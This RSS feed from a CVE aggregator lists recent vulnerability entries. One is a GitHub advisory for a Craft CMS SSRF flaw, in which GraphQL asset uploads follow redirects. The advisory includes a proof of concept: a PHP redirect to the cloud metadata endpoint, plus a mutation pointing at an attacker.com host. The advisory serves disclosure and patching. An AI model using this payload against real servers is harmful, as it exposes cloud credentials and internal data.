<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Sun, 18 Oct 2026 13:34:29 +0000</lastBuildDate>
    <item>
      <title>EUVD-2026-267787</title>
      <link>https://cve.radiocsirt.org/vuln/euvd-2026-267787</link>
      <description>EUVD-2026-267787</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/euvd-2026-267787</guid>
    </item>
    <item>
      <title>fkie_cve-2026-25493</title>
      <link>https://cve.radiocsirt.org/vuln/fkie_cve-2026-25493</link>
      <description>&lt;p&gt;Craft is a platform for creating digital experiences. In Craft versions 4.0.0-RC1 through 4.16.17 and 5.0.0-RC1 through 5.8.21, the saveAsset GraphQL mutation validates the initial URL hostname and resolved IP against a blocklist, but Guzzle follows HTTP redirects by default. An attacker can bypass all SSRF protections by hosting a redirect that points to cloud metadata endpoints or any internal IP addresses. This issue is patched in versions 4.16.18 and 5.8.22.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;Craft is a platform for creating digital experiences. In Craft versions 4.0.0-RC1 through 4.16.17 and 5.0.0-RC1 through 5.8.21, the saveAsset GraphQL mutation validates the initial URL hostname and resolved IP against a blocklist, but Guzzle follows HTTP redirects by default. An attacker can bypass all SSRF protections by hosting a redirect that points to cloud metadata endpoints or any internal IP addresses. This issue is patched in versions 4.16.18 and 5.8.22.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/fkie_cve-2026-25493</guid>
    </item>
    <item>
      <title>GHSA-8jr8-7hr4-vhfx — Craft CMS Vulnerable to SSRF in GraphQL Asset Mutation via HTTP Redirect</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-8jr8-7hr4-vhfx</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Packagist: craftcms/cms&lt;/p&gt;
&lt;p&gt;## Summary
The `saveAsset` GraphQL mutation validates the initial URL hostname and resolved IP against a blocklist, but Guzzle follows HTTP redirects by default. An attacker can bypass all SSRF protections by hosting a redirect that points to cloud metadata endpoints or any internal IP addresses.&lt;/p&gt;
&lt;p&gt;---
## Proof of Concept
1. Host a redirect script on your server (e.g. `redirect.php`):
```php
&amp;lt;?php header(&amp;#34;Location: http://169.254.169.254/latest/meta-data/&amp;#34;); ?&amp;gt;
```
2. Send the following GraphQL mutation:
```graphql
mutation {
    save_images_Asset(_file: { 
        url: &amp;#34;https://attacker.com/redirect.php&amp;#34;
        filename: &amp;#34;metadata.txt&amp;#34;
    }) {
        id
    }
}
```
3. The application validates `attacker.com` (passes)
4. Guzzle follows the redirect to `169.254.169.254`
5. Cloud metadata is saved as an asset&lt;/p&gt;
&lt;p&gt;---
## Mitigation
- Disable redirects.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Packagist: craftcms/cms&lt;/p&gt;
&lt;p&gt;## Summary
The `saveAsset` GraphQL mutation validates the initial URL hostname and resolved IP against a blocklist, but Guzzle follows HTTP redirects by default. An attacker can bypass all SSRF protections by hosting a redirect that points to cloud metadata endpoints or any internal IP addresses.&lt;/p&gt;
&lt;p&gt;---
## Proof of Concept
1. Host a redirect script on your server (e.g. `redirect.php`):
```php
&amp;lt;?php header(&amp;#34;Location: http://169.254.169.254/latest/meta-data/&amp;#34;); ?&amp;gt;
```
2. Send the following GraphQL mutation:
```graphql
mutation {
    save_images_Asset(_file: { 
        url: &amp;#34;https://attacker.com/redirect.php&amp;#34;
        filename: &amp;#34;metadata.txt&amp;#34;
    }) {
        id
    }
}
```
3. The application validates `attacker.com` (passes)
4. Guzzle follows the redirect to `169.254.169.254`
5. Cloud metadata is saved as an asset&lt;/p&gt;
&lt;p&gt;---
## Mitigation
- Disable redirects.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-8jr8-7hr4-vhfx</guid>
    </item>
  </channel>
</rss>
